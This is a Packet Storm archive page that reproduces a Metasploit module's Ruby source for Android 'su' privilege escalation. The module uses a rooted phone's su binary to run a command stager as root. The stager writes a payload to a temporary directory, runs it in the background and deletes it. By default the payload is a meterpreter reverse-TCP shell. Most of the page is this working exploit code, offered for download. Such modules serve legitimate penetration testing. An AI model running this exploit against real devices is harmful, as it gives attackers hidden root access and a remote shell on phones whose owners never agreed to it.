exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Android su Privilege Escalation

Android su Privilege Escalation
Posted Mar 7, 2019
Site metasploit.com

This Metasploit module uses the su binary present on rooted devices to run a payload as root. A rooted Android device will contain a su binary (often linked with an application) that allows the user to run commands as root. This module will use the su binary to execute a command stager as root. The command stager will write a payload binary to a temporary directory, make it executable, execute it in the background, and finally delete the executable. On most devices the su binary will pop-up a prompt on the device asking the user for permission.

tags | exploit, root
SHA-256 | 7e3a5d53d1bbc99e917882f257f635961ce55cef2fc5751b97c279d3aed1f213

Android su Privilege Escalation

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ManualRanking

include Msf::Exploit::CmdStager
include Msf::Post::File
include Msf::Post::Android::Priv

def initialize(info={})
super( update_info( info, {
'Name' => "Android 'su' Privilege Escalation",
'Description' => %q{
This module uses the su binary present on rooted devices to run
a payload as root.

A rooted Android device will contain a su binary (often linked with
an application) that allows the user to run commands as root.
This module will use the su binary to execute a command stager
as root. The command stager will write a payload binary to a
temporary directory, make it executable, execute it in the background,
and finally delete the executable.

On most devices the su binary will pop-up a prompt on the device
asking the user for permission.
},
'License' => MSF_LICENSE,
'DisclosureDate' => 'Aug 31 2017',
'SessionTypes' => [ 'meterpreter', 'shell' ],
'Platform' => [ 'android', 'linux' ],
'Arch' => [ ARCH_AARCH64, ARCH_ARMLE, ARCH_X86, ARCH_X64, ARCH_MIPSLE ],
'Targets' => [
['aarch64',{'Arch' => ARCH_AARCH64}],
['armle', {'Arch' => ARCH_ARMLE}],
['x86', {'Arch' => ARCH_X86}],
['x64', {'Arch' => ARCH_X64}],
['mipsle', {'Arch' => ARCH_MIPSLE}]
],
'DefaultOptions' => {
'PAYLOAD' => 'linux/aarch64/meterpreter/reverse_tcp',
'WfsDelay' => 5,
},
'DefaultTarget' => 0,
}
))
register_options([
OptString.new('SU_BINARY', [true, 'The su binary to execute to obtain root', 'su']),
OptString.new('WritableDir', [true, 'Writable directory', '/data/local/tmp/']),
])
end

def base_dir
datastore['WritableDir'].to_s
end

def su_bin
datastore['SU_BINARY'].to_s
end

def exploit
if is_root?
fail_with Failure::BadConfig, 'Session already has root privileges'
end

linemax = 4088 - su_bin.size
execute_cmdstager({
flavor: :echo,
enc_format: :octal,
prefix: '\\\\0',
temp: base_dir,
linemax: linemax,
background: true,
})
end

def execute_command(cmd, opts)
su_cmd = "#{su_bin} -c '#{cmd}'"
cmd_exec(su_cmd)
end

end

Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    48 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    60 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    44 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close